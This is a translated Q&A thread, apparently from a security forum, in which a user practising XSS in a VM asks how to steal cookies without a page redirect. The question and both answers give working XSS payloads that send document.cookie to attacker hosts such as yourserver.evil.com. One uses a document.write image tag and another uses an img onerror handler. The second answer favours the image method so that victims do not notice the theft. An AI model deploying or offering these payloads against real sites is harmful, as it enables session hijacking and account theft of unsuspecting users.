XSS cookie 窃取而不重定向到另一个页面

信息安全 Web应用程序 javascript xss 饼干
2021-08-18 04:18:25

我正在按照 OWASP 指南在 VM 中练习。我知道可以通过重定向到“False”页面等来窃取 cookie,但我想在不重定向到另一个页面的情况下窃取 cookie。

所以,如果你有一些留言簿,然后你把:

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

如何在不重定向的情况下将其放入现有页面?

基本上,我想要的是当有人点击链接时,抓取 cookie 并将其打印在当前页面的某个位置。也许在一些alt标签或什么的。

有任何想法吗?

2个回答

如果您可以完全控制将 JavaScript 写入页面,那么您可以这样做

document.write('cookie: ' + document.cookie)

如果要将其发送到另一台服务器,则可以将其包含在不存在的图像中:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

这里的关键是您是否可以输出任意 JavaScript,或者您是否受限于可以执行的 JavaScript 类型。尽管如果您的输出内容有限,您可以使用更高级的方法来执行您的自定义代码,这有点超出了问题的范围。

为了补充史蒂夫的答案,有很多不同的方法可以实现这一目标。如果您的意图是不让用户知道被盗的 cookie,我会建议<img>史蒂夫建议的攻击。虽然我更喜欢避免使用 document.write,因为它使用了很多字符:

<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>